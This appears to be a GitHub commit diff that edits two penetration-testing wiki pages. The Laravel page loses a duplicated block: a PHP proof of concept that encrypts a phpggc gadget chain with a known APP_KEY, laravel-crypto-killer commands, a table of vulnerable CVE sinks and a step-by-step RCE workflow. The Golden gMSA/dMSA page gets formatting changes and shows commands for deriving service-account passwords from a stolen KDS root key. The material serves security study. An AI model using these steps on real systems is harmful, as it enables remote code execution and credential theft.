Skip to content

Commit 71b9eb4

Browse files
committed
f
1 parent 5887ddc commit 71b9eb4

2 files changed

Lines changed: 6 additions & 102 deletions

File tree

src/network-services-pentesting/pentesting-web/laravel.md

Lines changed: 0 additions & 96 deletions
Original file line numberDiff line numberDiff line change
@@ -83,16 +83,6 @@ Key findings of the research published by Synacktiv (2024-2025):
8383

8484
The private Go tool **nounours** pushes AES-CBC/GCM bruteforce throughput to ~1.5 billion tries/s, reducing full dataset cracking to <2 minutes.
8585

86-
---
87-
88-
## References
89-
* [Laravel: APP_KEY leakage analysis](https://www.synacktiv.com/publications/laravel-appkey-leakage-analysis.html)
90-
* [laravel-crypto-killer](https://github.com/synacktiv/laravel-crypto-killer)
91-
* [PHPGGC – PHP Generic Gadget Chains](https://github.com/ambionics/phpggc)
92-
* [CVE-2018-15133 write-up (WithSecure)](https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce)
93-
94-
95-
9686

9787
## Laravel Tricks
9888

@@ -187,93 +177,7 @@ Or you can also exploit it with metasploit: `use unix/http/laravel_token_unseria
187177

188178
Another deserialization: [https://github.com/ambionics/laravel-exploits](https://github.com/ambionics/laravel-exploits)
189179

190-
### Laravel SQLInjection
191-
192-
Read information about this here: [https://stitcher.io/blog/unsafe-sql-functions-in-laravel](https://stitcher.io/blog/unsafe-sql-functions-in-laravel)
193-
194-
195-
### Laravel SQLInjection
196-
197-
Read information about this here: [https://stitcher.io/blog/unsafe-sql-functions-in-laravel](https://stitcher.io/blog/unsafe-sql-functions-in-laravel)
198-
199-
---
200-
201-
## APP_KEY & Encryption internals (Laravel \u003e=5.6)
202-
203-
Laravel uses AES-256-CBC (or GCM) with HMAC integrity under the hood (`Illuminate\\Encryption\\Encrypter`).
204-
The raw ciphertext that is finally **sent to the client** is **Base64 of a JSON object** like:
205-
206-
```json
207-
{
208-
"iv" : "Base64(random 16-byte IV)",
209-
"value": "Base64(ciphertext)",
210-
"mac" : "HMAC_SHA256(iv||value, APP_KEY)",
211-
"tag" : "" // only used for AEAD ciphers (GCM)
212-
}
213-
```
214-
215-
`encrypt($value, $serialize=true)` will `serialize()` the plaintext by default, whereas
216-
`decrypt($payload, $unserialize=true)` **will automatically `unserialize()`** the decrypted value.
217-
Therefore **any attacker that knows the 32-byte secret `APP_KEY` can craft an encrypted PHP serialized object and gain RCE via magic methods (`__wakeup`, `__destruct`, …)**.
218-
219-
Minimal PoC (framework ≥9.x):
220-
```php
221-
use Illuminate\Support\Facades\Crypt;
222-
223-
$chain = base64_decode('<phpggc-payload>'); // e.g. phpggc Laravel/RCE13 system id -b -f
224-
$evil = Crypt::encrypt($chain); // JSON->Base64 cipher ready to paste
225-
```
226-
Inject the produced string into any vulnerable `decrypt()` sink (route param, cookie, session, …).
227-
228-
---
229-
230-
## laravel-crypto-killer 🧨
231-
[laravel-crypto-killer](https://github.com/synacktiv/laravel-crypto-killer) automates the whole process and adds a convenient **bruteforce** mode:
232-
233-
```bash
234-
# Encrypt a phpggc chain with a known APP_KEY
235-
laravel_crypto_killer.py encrypt -k "base64:<APP_KEY>" -v "$(phpggc Laravel/RCE13 system id -b -f)"
236-
237-
# Decrypt a captured cookie / token
238-
laravel_crypto_killer.py decrypt -k <APP_KEY> -v <cipher>
239-
240-
# Try a word-list of keys against a token (offline)
241-
laravel_crypto_killer.py bruteforce -v <cipher> -kf appkeys.txt
242-
```
243-
244-
The script transparently supports both CBC and GCM payloads and re-generates the HMAC/tag field.
245-
246-
---
247-
248-
## Real-world vulnerable patterns
249-
250-
| Project | Vulnerable sink | Gadget chain |
251-
|---------|-----------------|--------------|
252-
| Invoice Ninja ≤v5 (CVE-2024-55555) | `/route/{hash}``decrypt($hash)` | Laravel/RCE13 |
253-
| Snipe-IT ≤v6 (CVE-2024-48987) | `XSRF-TOKEN` cookie when `Passport::withCookieSerialization()` is enabled | Laravel/RCE9 |
254-
| Crater (CVE-2024-55556) | `SESSION_DRIVER=cookie``laravel_session` cookie | Laravel/RCE15 |
255-
256-
The exploitation workflow is always:
257-
1. Obtain `APP_KEY` (default examples, Git leak, config/.env leak, or brute-force)
258-
2. Generate gadget with **PHPGGC**
259-
3. `laravel_crypto_killer.py encrypt …`
260-
4. Deliver payload through the vulnerable parameter/cookie → **RCE**
261-
262-
---
263-
264-
## Mass APP_KEY discovery via cookie brute-force
265-
266-
Because every fresh Laravel response sets at least 1 encrypted cookie (`XSRF-TOKEN` and usually `laravel_session`), **public internet scanners (Shodan, Censys, …) leak millions of ciphertexts** that can be attacked offline.
267-
268-
Key findings of the research published by Synacktiv (2024-2025):
269-
* Dataset July 2024 » 580 k tokens, **3.99 % keys cracked** (≈23 k)
270-
* Dataset May 2025 » 625 k tokens, **3.56 % keys cracked**
271-
* >1 000 servers still vulnerable to legacy CVE-2018-15133 because tokens directly contain serialized data.
272-
* Huge key reuse – the Top-10 APP_KEYs are hard-coded defaults shipped with commercial Laravel templates (UltimatePOS, Invoice Ninja, XPanel, …).
273180

274-
The private Go tool **nounours** pushes AES-CBC/GCM bruteforce throughput to ~1.5 billion tries/s, reducing full dataset cracking to <2 minutes.
275-
276-
---
277181

278182
## References
279183
* [Laravel: APP_KEY leakage analysis](https://www.synacktiv.com/publications/laravel-appkey-leakage-analysis.html)

src/windows-hardening/active-directory-methodology/golden-dmsa-gmsa.md

Lines changed: 6 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -10,7 +10,7 @@ There are two major flavours:
1010
1. **gMSA** – group Managed Service Account – can be used on multiple hosts that are authorised in its `msDS-GroupMSAMembership` attribute.
1111
2. **dMSA** – delegated Managed Service Account – the (preview) successor to gMSA, relying on the same cryptography but allowing more granular delegation scenarios.
1212

13-
For both variants the **password is not stored** on each Domain Controller (DC) like a regular NT-hash. Instead every DC can **derive** the current password on-the-fly from:
13+
For both variants the **password is not stored** on each Domain Controller (DC) like a regular NT-hash. Instead every DC can **derive** the current password on-the-fly from:
1414

1515
* The forest-wide **KDS Root Key** (`KRBTGT\KDS`) – randomly generated GUID-named secret, replicated to every DC under the `CN=Master Root Keys,CN=Group Key Distribution Service, CN=Services, CN=Configuration, …` container.
1616
* The target account **SID**.
@@ -35,7 +35,7 @@ This is analogous to a *Golden Ticket* for service accounts.
3535
3. .NET ≥ 4.7.2 x64 workstation to run [`GoldenDMSA`](https://github.com/Semperis/GoldenDMSA) or equivalent code.
3636

3737
### Golden gMSA / dMSA
38-
##### Phase 1 – Extract the KDS Root Key
38+
#### Phase 1 – Extract the KDS Root Key
3939

4040
Dump from any DC (Volume Shadow Copy / raw SAM+SECURITY hives or remote secrets):
4141

@@ -60,7 +60,7 @@ The base64 string labelled `RootKey` (GUID name) is required in later steps.
6060

6161
Retrieve at least `sAMAccountName`, `objectSid` and `msDS-ManagedPasswordId`:
6262

63-
```powershell
63+
```bash
6464
# Authenticated or anonymous depending on ACLs
6565
Get-ADServiceAccount -Filter * -Properties msDS-ManagedPasswordId | \
6666
Select sAMAccountName,objectSid,msDS-ManagedPasswordId
@@ -70,7 +70,7 @@ GoldenGMSA.exe gmsainfo
7070

7171
[`GoldenDMSA`](https://github.com/Semperis/GoldenDMSA) implements helper modes:
7272

73-
```powershell
73+
```bash
7474
# LDAP enumeration (kerberos / simple bind)
7575
GoldendMSA.exe info -d example.local -m ldap
7676

@@ -88,7 +88,7 @@ Because the GUID is 128-bit, naive bruteforce is infeasible, but:
8888

8989
Therefore a **narrow wordlist per account** (± few hours) is realistic.
9090

91-
```powershell
91+
```bash
9292
GoldendMSA.exe wordlist -s <SID> -d example.local -f example.local -k <KDSKeyGUID>
9393
```
9494
The tool computes candidate passwords and compares their base64 blob against the real `msDS-ManagedPassword` attribute – the match reveals the correct GUID.
@@ -97,7 +97,7 @@ The tool computes candidate passwords and compares their base64 blob against the
9797

9898
Once the ManagedPasswordID is known, the valid password is one command away:
9999

100-
```powershell
100+
```bash
101101
# derive base64 password
102102
GoldendMSA.exe compute -s <SID> -k <KDSRootKey> -d example.local -m <ManagedPasswordID> -i <KDSRootKey ID>
103103
GoldenGMSA.exe compute --sid <SID> --kdskey <KDSRootKey> --pwdid <ManagedPasswordID>

0 commit comments

Comments
 (0)